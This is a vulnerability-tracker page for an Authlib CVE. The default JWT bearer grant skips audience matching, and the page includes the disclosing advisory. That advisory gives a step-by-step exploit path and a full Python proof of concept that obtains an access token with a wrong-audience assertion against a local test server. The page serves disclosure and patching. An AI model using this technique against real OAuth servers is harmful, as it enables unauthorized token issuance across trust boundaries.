CVE-2026-114618

mediumpriority · track · 0OT risk · elevatedEPSS 0.002 · 13 %ileUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.22% (13th) EPSS
CVSS 6.8 · medium
Is it mine?
1 products
Check your exposure
Who says so?
1 sources
osv

EPSS · scored 2026-10-27

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to 1.9.0, the default RFC 7523 JWTBearerGrant.get_audiences() returns an empty list, causing JWTBearerGrant.verify_claims() to require only that an aud claim exists without matching the current authorization server. An attacker holding a legitimate assertion for another service can present it to a server that shares the signing key and uses the default grant, obtaining an access token across a trust boundary. Implementations that override get_audiences() with the server's valid audience identifiers are not affected. This issue is fixed in version 1.9.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

6.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.16.8mediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:Nsecondary · security-advisories@github.comexploitability 1.6 · impact 5.2
v3.16.8mediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:Nsecondary · OSV
v3.16.2mediumCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

weaknesses

The CWE weakness classes this flaw belongs to.

03

affected products (1)

Products and version ranges known to be affected.

04

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-fch4-3c6x-j4gcAuthlib: Default JWT bearer grant accepts assertions for the wrong audience2026-10-27ghsa · osvUS

    ## Description ### Summary Authlib's default RFC 7523 JWT bearer grant leaves `get_audiences()` empty, so `verify_claims()` only checks that an `aud` claim *exists* instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for *any* audience can present it to a different authorization server sharing the same signing key and obtain an access token. To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately. ### Affected Entrypoints - `authlib.oauth2.rfc7523.JWTBearerGrant` — default `get_audiences()` returns empty list - `authlib.jose.jwt.decode()` with `claims_options` for audience validation - `authlib.integrations.flask_oauth2.ResourceProtector.validate_request()` when audience checking is enabled ### Exploit Path ``` 1. Attacker authenticates to Service A (low-privilege) 2. Authorization server issues JWT with "aud": "https://evil.test/token" 3. Attacker presents this assertion to Service B's token endpoint 4. Service B uses default JWTBearerGrant (get_audiences() = []) 5. verify_claims() only checks aud *exists*, not its value 6. Service B issues an access token — audience bypass achieved ``` ### Proof of Concept ```python #!/usr/bin/env python3 """ Demonstrates that the default JWTBearerGrant accepts JWT assertions whose audience does not match the token endpoint, while a strict audience override correctly rejects them. """ import json import os import sys from joserfc.jwk import KeySet, OctKey WRONG_AUDIENCE = "https://evil.test/token" EXPECTED_AUDIENCE = "https://provider.test/token" GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer" def build_and_exercise(strict_audience: bool) -> tuple[int, dict]: from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant # Uses Authlib's own Flask test fixtures from tests.flask.test_oauth2.models import Client, User, db from tests.flask.test_oauth2.oauth2_server import ( create_authorization_server, create_flask_app, ) class JWTBearerGrant(BaseJWTBearerGrant): def resolve_issuer_client(self, issuer): return Client.query.filter_by(client_id=issuer).first() def resolve_client_public_key(self, client): return KeySet([ OctKey.import_key("foo", {"kid": "1"}), OctKey.import_key("bar", {"kid": "2"}), ]) def authenticate_user(self, subject): return None def has_granted_permission(self, client, user): return True # Only override get_audiences when testing strict mode if strict_audience: def get_audiences(self): return [EXPECTED_AUDIENCE] app = create_flask_app() os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true" with app.app_context(): db.init_app(app) db.create_all() user = User(username="demo-user") db.session.add(user) db.session.commit() client = Client( user_id=user.id, client_id="client-id", client_secret="client-secret", ) client.set_client_metadata({ "scope": "profile", "redirect_uris": ["https://client.test/authorized"], "grant_types": [GRANT_TYPE], }) db.session.add(client) db.session.commit() server = create_authorization_server(app) server.register_grant(JWTBearerGrant) # Sign assertion with WRONG audience assertion = JWTBearerGrant.sign( "foo", issuer="client-id", audience=WRONG_AUDIENCE, # <-- Not the expected audience subject=None, header={"alg": "HS256", "kid": "1"}, ) rv = app.test_client().post( "/oauth/token", data={"grant_type": GRANT_TYPE, "assertion": assertion}, ) body = json.loads(rv.data) db.session.remove() db.drop_all() return rv.status_code, body def main() -> int: # Test 1: Default grant (no audience enforcement) vuln_status, vuln_body = build_and_exercise(strict_audience=False) # Test 2: Strict audience grant (correct behavior) strict_status, strict_body = build_and_exercise(strict_audience=True) result = { "wrong_audience": WRONG_AUDIENCE, "expected_audience": EXPECTED_AUDIENCE, "vulnerable_status": vuln_status, "vulnerable_body": vuln_body, "strict_status": strict_status, "strict_body": strict_body, } print(json.dumps(result, indent=2, sort_keys=True)) if ( vuln_status == 200 and "access_token" in vuln_body and strict_body.get("error") == "invalid_grant" ): print( "POC_SUCCESS: default JWTBearerGrant issued an access token for " "an assertion whose aud did not match the token endpoint, while " "strict audience validation rejected the same assertion." ) return 0 print("POC_FAILURE: expected token issuance under default grant " "and invalid_grant under strict audience control.") return 1 if __name__ == "__main__": raise SystemExit(main()) ``` ### Observed Result - **Default grant (vulnerable):** HTTP 200, `access_token` issued despite `aud: "https://evil.test/token"` - **Strict grant (fixed):** HTTP 400, `error: "invalid_grant"` — correctly rejects mismatched audience - Confirms the default `get_audiences()` returns empty, so audience validation is effectively skipped ### Impact - **Vulnerability Type:** CWE-287 — Improper Authentication - An attacker with a valid JWT assertion for *any* service can use it to obtain tokens from a *different* service sharing the same signing keys - Particularly dangerous in **microservice architectures** where services share identity infrastructure - Enables unauthorized access escalation across trust boundaries - The vulnerability is in the *default behavior* — most integrations won't override `get_audiences()` --- ### Credit Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

05

sources

Which sources assert this record, and when.

published 2026-10-22modified 2026-10-23
07

references (4) nvd

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan